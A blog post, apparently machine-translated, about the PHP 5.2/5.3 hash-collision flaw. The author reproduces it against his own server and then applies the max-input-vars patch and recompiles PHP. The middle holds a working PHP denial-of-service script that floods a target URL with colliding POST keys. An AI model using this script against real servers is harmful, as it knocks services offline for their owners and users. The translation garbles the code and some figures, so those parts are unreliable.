Comments: Today, I took the time to study a recent BUG. The PHP 5.2/5.3 Hash vulnerability caused a server to launch a DDOS attack on the PHP website on the Internet.
Let's take a look at the environment. This website uses the LAMP architecture and the PHP version is 5.2.17.
The CPU usage of the server before PHP is patched is 2.1%.
We compile a PHP program on this web server to test the machine to Hash it for fault reproduction.
The program language is as follows:
The Code is as follows:
<? Php
Echo $ showtime = date ("Y-m-d H: I: s ");
?>
The result after execution is the current server time.
Find a test machine with a PHP environment. I use a virtual machine with a LAMP environment. Enter the/usr/local/apache/htdocs directory and write a PHP webpage. The program language is as follows:
[Root @ blog htdocs] # Vi hash. php
The Code is as follows:
<? Php
$ Size = pow (2, 16 );
$ Data = '';
For ($ key = 0, $ maxKey = ($ size-1) * $ size; $ key <= $ maxKey; $ key + = $ size ){
$ Data. = $ key. '= &';
}
$ Url = 'HTTP: // www.liuxxxxx.com/checktime.php ';
$ Rs = array ();
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_HEADER, 0 );
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ data );
For ($ I = 0; $ I <100; ++ $ I)
{
Curl_exec ($ ch );
}
Curl_close ($ ch );
?>
The url address of the target machine for testing. I <100 indicates a maximum of 100 concurrent connections. Manually execute hash. php to perform hash collision.
[Root @ blog htdocs] #/usr/local/php/bin/php hash. php
On the web server side, let's look at the resource utilization of the server. The CPU usage is 97.6%. It looks like a single virtual machine, with 100 concurrent Hash, is enough to increase the CPU utilization of the web server to 100%.
When the Cpu reaches 100%, what is the website. We browsed the web server and clicked the link on the website. The response was normal. It was estimated that the web server had no pressure on itself, so we couldn't see it. Adjust the concurrency to 10000 and test again. The concurrency is 100.
Refresh the checktime. php page. The page will be displayed soon and the website will be normal. However, the web server cpu is already 100%
Conclusion: I use my blog as the target machine. Because my blog only has a few people to access and there is no pressure, even if the CPU reaches 10000 through 100% concurrent Hash, the speed of opening a personal blog is quite fast.
Install the patch. Let's take another look.
1. Check the PHP compilation parameters when you build the environment.
2. Download a PHP patch from the Internet:
Https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
3, according to the personal platform version, click in, note, do not right-click on it, save as, otherwise you down is an html file, the file name is php-5.2.17-max-input-vars.patch.
Click "raw" on the new page to open the patch file.
Copy the content in it. Here I only cut a small part of it. Then create a new file on the web server, php-5.2.17-max-input-vars.patch, which is just copied.
4, enter the original installation directory of php, I here the environment is/opt/soft/php-5.2.17. First, clear the compiled ones.
5. Patch and re-compile php
Config again
Make ZEND_EXTRA_LIBS = '-liconv' // some platforms are make, and each environment is different.
Make install again
6. Restart apache to check the effect.
[Root @ lghblog php-5.2.17] # pkill httpd
[Root @ lghblog php-5.2.17] #/usr/local/apache/bin/apachectl start
Visit phpinfo. php on the web server to check whether the PHP environment has changed. You can see at the top that the PHP version comes with a P1. This is not enough. Let's use Hash to check whether the cpu will be 100%.
On the test machine, take the concurrency of 10000 and go to the Hash web server. It is found that the CPU of the web server is kept at 0.5%.
Solve the problem!
This article is from the "System Network O & M" blog